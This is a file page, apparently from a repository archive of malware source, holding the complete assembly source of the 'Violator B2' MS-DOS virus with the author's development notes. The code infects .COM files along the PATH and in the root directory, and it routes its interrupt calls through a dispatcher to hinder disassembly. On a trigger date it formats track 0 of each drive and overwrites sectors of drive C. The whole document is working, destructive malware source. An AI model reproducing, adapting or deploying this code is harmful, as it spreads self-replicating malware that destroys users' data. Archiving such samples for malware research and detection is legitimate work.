MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.viol-b2.asm
2021-01-12 18:04:54 -06:00

510 lines
16 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;*****************************************************************************
;
; Violator - Strain B2
;
;*****************************************************************************
;
; (Sep/23/90)
;
; Development Notes:
;
; In this version, I have implemented various methods of thwarting users
; attempts to dissassemble this program as well as tracing various interrupt
; calls.
;
; This was done by setting a marker and then doing a CALL to a location which
; will decide which interrupt to issue based on the marker value. Couple this
; with multiple jumps, and it is enough to make any dissassembler puke it's
; guts out, not to mention anyone looking at us with debug will probably
; have an enema before they find out which interrupt we are using.
;
; Also, I have added a routine to thouroughly mess up drive C at the end of
; wiping out all drive. This was taken from Violator A becuase it worked to
; nicely destruction-wise.
;
; In other notes, this sucker is set to go off on October 31st 1990.
;
; UIV v1.0 is still on the fritz and will not become Violator C until I fix it
; to wipe out vectors 13, 26, and 21 (HEX).
;
; (Oct.02.90)
;
; Made a minor change so that INT 26 will also be accessed via flag.
;
;*****************************************************************************
;
; Written by - The High Evolutionary -
; RABID Head Programmer
;
; Copyright (C) 199O by RABID Nat'nl Development Corp.
;
;*****************************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H ; Set ORG to 100H plus our own
VCODE: JMP virus
NOP
NOP
NOP ;15 NOP's to place JMP Header
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat
CLD
MOV SI,DX
ADD SI,first_3
MOV CX,3
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
MOV AH,30H
MOV marker,1
call weed
CMP AL,0 ;Quit it it's DOS 1.0
JNZ dos_ok
JMP quit
dos_ok: PUSH ES
MOV AH,2FH
MOV marker,1
CALL weed
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
MOV DX,dta
ADD DX,SI
MOV AH,1AH
MOV marker,1
CALL weed
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
JMP year_check
;
; This routine weed's out the calls...
;
weed: CMP marker,1 ;Check to see if it's an INT 21 call
JE int_21 ;If yes,then go and issue an INT 21
CMP marker,2 ;Check to see if it's an INT 13 call
JE int_13 ;If yes, then go and issue an INT 13
CMP marker,3 ;Check to see if it's an INT 26 call
JE int_26 ;If yes, then go and issue an INT 26
RET ;Go back to where we were called from
;
; The RET there is unnecessary, but I put it there just to be on the safe side
; incase of a "What If?" scenario... The real valid RET is issued from the JE
; locations (int_21 and int_13)... You may choose to comment this line on
; compilation, but what difference does one byte make ?
;
year_check:
MOV AH,2AH ;Get date info
MOV marker,1 ;Call DOS
CALL weed
CMP CX,1990 ;Check to see if the year is 1990
JGE month_check ;If greater or equal, check month
JMP find_path ;If not, go on with infection
month_check:
MOV AH,2AH ;Get date info
MOV marker,1 ;Call DOS
CALL weed
CMP DH,10 ;Check to see if it is October
JGE day_check ;If greater or equal, check day
JMP find_path ;if not, go on with infection
day_check:
MOV AH,2Ah ;Get date info
MOV marker,1 ;Call DOS
CALL weed
CMP DL,31 ;Check to see if it is the 31st
JGE multiplex ;If yes, then nuke drives A:-Z:
JMP find_path ;If not, then go on with infection
int_21: INT 21h ;Issue an INT 21
RET ;Return from CALL
multiplex:
MOV AL,cntr ;Counter is the drive to kill
CALL alter ;Go and kill the drive
;25 is drive Z:
CMP cntr,25 ;Is (cntr) 25 ?
JE really_nuke ;Now go and Blow up drive C:
INC cntr ;Add one to (cntr)
LOOP multiplex ;Loop back up to kill next drive
int_26: INT 26h
RET
alter:
MOV AH,05 ;Format Track
MOV CH,0 ;Format track 0
MOV DH,0 ;Head 0
MOV DL,cntr ;Format for drive in (cntr)
MOV marker,2 ;Call RWTS
CALL weed
RET ;Return up for next drive
int_13: INT 13h ;Issue an INT 13
RET ;Return from CALL
really_nuke:
MOV AL,2 ;Set to fry drive C
MOV CX,700 ;Set to write 700 sectors
MOV DX,00 ;Starting at sector 0
MOV DS,[DI+99] ;Put random crap in DS
MOV BX,[DI+55] ;More crap in BX
MOV marker,3 ;Call BIOS
CALL weed
POPF ;Pop the flags because INT 26 messes
;them up
find_path:
POP SI
PUSH SI
ADD SI,env_str
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will go
; along and infect the ROOT directory on the default drive.
;
JNZ find_path ;If not path, then go to ROOT dir
LOOP check_next_4 ;Go back and check for more chars
POP SI ;Load in PATH again to look for chars
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc ;Put the filename in wrk_spc
MOV BX,SI
ADD SI,wrk_spc
MOV DI,SI
JMP SHORT slash_ok
;*****************************************************************************
;
; Infection Notes: (Oct.02.90)
;
; A wierd thing happened a few days ago, I was testing this virus out on my
; system under Flushot + and I monitored everything that was going on. Here is
; the exact order that Violator infects stuff:
;
; 1) If there is a path used, we first infect the current directory until
; full.
;
; If there is no path, we infect the current directory either way...
;
; 2) If there is no path, we then infect the current directory, and then
; go on and infect all COM'z in the root directory.
;
; 3) Finally, after everything in the path has been infected, we then go and
; infect all of the COM shit in the root directory...
;
; This results in a bug with the slash checker. It checks to see if there is
; a slash on the end of the path, and if there is none, it adds one. But
; what would happen if there's no path??? It'll still add a slash.
; This benefit's us greatly. Anyway, on with the code...
;
;*****************************************************************************
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH
MOV DI,SI
MOV SI,ES:[DI+path_ad]
ADD DI,wrk_spc ;DI is the file name to infect! (hehe)
move_subdir:
LODSB ;To tedious work to move into subdir
CMP AL,';' ;Does it end with a ; charachter?
JZ moved_one ;if yes, then we found a subdir
CMP AL,0 ;is it the end of the path?
JZ moved_last_one ;if yes, then we save the PATH
STOSB ;marker into DI for future reference
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;BX is where the virus data is
POP DS ;Restore DS so that we can do stuph
MOV [BX+path_ad],SI ;Where is the next subdir?
NOP
CMP CH,'\' ;Check to see if it ends in \
JZ slash_ok ;If yes, then it's OK
MOV AL,'\' ;if not, then add one...
STOSB ;store the sucker
slash_ok:
MOV [BX+nam_ptr],DI ;Move the filename into workspace
MOV SI,BX ;Restore the original SI value
ADD SI,f_spec ;Point to COM file victim
MOV CX,6
REPZ MOVSB ;Move victim into workspace
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX is ... THE VICTIM!!!
MOV CX,3 ;Attributes of Read Only or Hidden OK
MOV marker,1
CALL weed
JMP SHORT find_first
find_next:
MOV AH,4FH
MOV marker,1
CALL weed
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1EH ;Mask to remove all but seconds
CMP AL,1EH ;60 seconds
JZ find_next
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr]
PUSH SI
ADD SI,dta_nam
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc
ADD DX,SI
MOV marker,1
CALL weed
MOV [SI+old_att],CX
MOV AX,OFFSET 4301H
AND CX,OFFSET 0FFFEH
MOV DX,wrk_spc
ADD DX,SI
MOV marker,1
CALL weed
MOV AX,OFFSET 3D02H
MOV DX,wrk_spc
ADD DX,SI
MOV marker,1
CALL weed
JNB opened_ok
JMP fix_attr
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
MOV marker,1
CALL weed
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
MOV marker,1
CALL weed
AND DH,7
JMP infect
infect:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
ADD DX,SI
MOV marker,1
CALL weed ;Save first 3 bytes into the data area
JB fix_time_stamp
CMP AX,3
JNZ fix_time_stamp
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
MOV marker,1
CALL weed
JB fix_time_stamp
MOV CX,AX
SUB AX,3
MOV [SI+jmp_dsp],AX
ADD CX,OFFSET c_len_y
MOV DI,SI
SUB DI,OFFSET c_len_x
MOV [DI],CX
MOV AH,40H
MOV_CX virlen
MOV DX,SI
SUB DX,OFFSET codelen
MOV marker,1
CALL weed
JB fix_time_stamp
CMP AX,OFFSET virlen
JNZ fix_time_stamp
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
MOV marker,1
CALL weed
JB fix_time_stamp
MOV AH,40H
MOV CX,3
MOV DX,SI
ADD DX,jmp_op
MOV marker,1
CALL weed
fix_time_stamp:
MOV DX,[SI+ol_date]
MOV CX,[SI+old_tim]
AND CX,OFFSET 0FFE0H
OR CX,1EH
MOV AX,OFFSET 5701H
MOV marker,1
CALL weed
MOV AH,3EH
MOV marker,1
CALL weed
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att]
MOV DX,wrk_spc
ADD DX,SI
MOV marker,1
CALL weed
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
MOV marker,1
CALL weed
POP DS
quit:
POP CX
XOR AX,AX ;XOR values so that we will give the
XOR BX,BX ;poor sucker a hard time trying to
XOR DX,DX ;reassemble the source code if he
XOR SI,SI ;decides to dissassemble us.
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH ;Return back to the beginning
;of the program
;
; It seems as if there is a bit of a misunderstanding about the above line.
; What it simply does is returns from the JMP that we issued at the beginning
; of the program. Heceforth, an infected program will have something to the
; effect of 2145:0100 JMP 104B and the program will then jump to the
; beginning of us. Then we go along our merry way of infecting files until
; we are done and then come up to the RET 0FFFFH line. This is just like a
; plain RET put as we all know, you can't RET from a JMP, so this line kinda
; tricks DOS to return back to the line after the one that issued the original
; JMP, thus, it returns to line 2145:0102 and begins with the real program...
;
; Clear? Good...
vir_dat EQU $
;
; Change the next line on release of compiled file...
;
intro db 'Violator B2 (C) ''9O RABID Nat''nl Development Corp.',13,10
olddta_ DW 0
olddts_ DW 0
oldtim_ DW 0
count_ DW 0
cntr DB 2 ; Drive to nuke from (C:+++)
marker DB 0 ; This is used for INT purposes
oldate_ DW 0
oldatt_ DW 0
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H
jmpdsp_ DW 0
fspec_ DB '*.COM',0
pathad_ DW 0
namptr_ DW 0
envstr_ DB 'PATH='
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0)
dtatim_ DW 0,0
dtalen_ DW 0,0
dtanam_ DB 0Dh dup (0)
lst_byt EQU $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100H
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_att = oldatt_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
count = count_ - vir_dat
CODE ENDS
END VCODE